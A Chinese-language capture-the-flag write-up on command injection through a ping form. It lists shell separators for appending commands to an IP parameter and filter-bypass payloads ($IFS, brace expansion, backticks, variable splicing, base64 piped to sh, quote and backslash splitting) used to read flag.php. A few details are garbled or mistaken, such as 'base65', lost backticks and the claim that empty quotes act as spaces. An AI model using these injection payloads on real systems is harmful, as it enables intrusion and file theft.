前言
之前没总结过关于命令执行的绕过姿势,借着今天做的这个命令执行的题目来总结一下。
先看题目
题目
题目很单一,目的就是为了让我们通过参数传入内容来执行代码。因为题目是与ping有关,当我们输入127.0.0.1时,它会进行ping命令操作。
一般根据ping命令相关的命令执行,正常情况有五种写法
127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code &表示将任务置于后台执行
127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
而本题就是要用到第五种。输入127.0.0.1;whoami 它会回显出用户名www-data,说明命令执行成功。接着用ls命令查看当前目录文件,输入命令127.0.0.1;ls
发现当前目录下有flag.php和index.php。我们试着读取index.php文件的源码,看看它都过滤了什么。试了很多次,发现你过滤了空格。
绕过空格
其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。
Windows
type.\flag.txt
type,flag.txt
echo,123456
linux
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
其实windows系统的命令不太常用,赛题中也很少出现。这题也不例外。这道题中我们可以使用
$IFS$1来代替空格,使用cat命令来查看index.php文件的源码。
发现它过滤了很多东西 包括一些字符还有整个flag。
内联执行
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么ls
就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1ls
这个命令来输出flag了。
查看源代码内容就可以找到flag。
变量拼接
看了师傅们的WP后,知道可以使用变量拼接的方法来绕过flag这个关键字。
让变量a=ag,让变量b=fl,payload:
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
变量拼接也是绕过正则过滤的一个有效的方法。
Base64编码
正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。
payload:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
管道符|是直接执行后面的语句。
单双引号绕过
虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如
ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。
反斜线绕过
大同小异
ca\t fl\ag
$1、$2等和 $@绕过
大概的形式就是l$1s ca$2t fl$@ag等等。
这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。
结语
我总结的只是冰山一角,更多绕过姿势等以后再慢慢总结。
膜拜大佬:命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01
版权归原作者 XiLitter 所有, 如有侵权,请联系我们删除。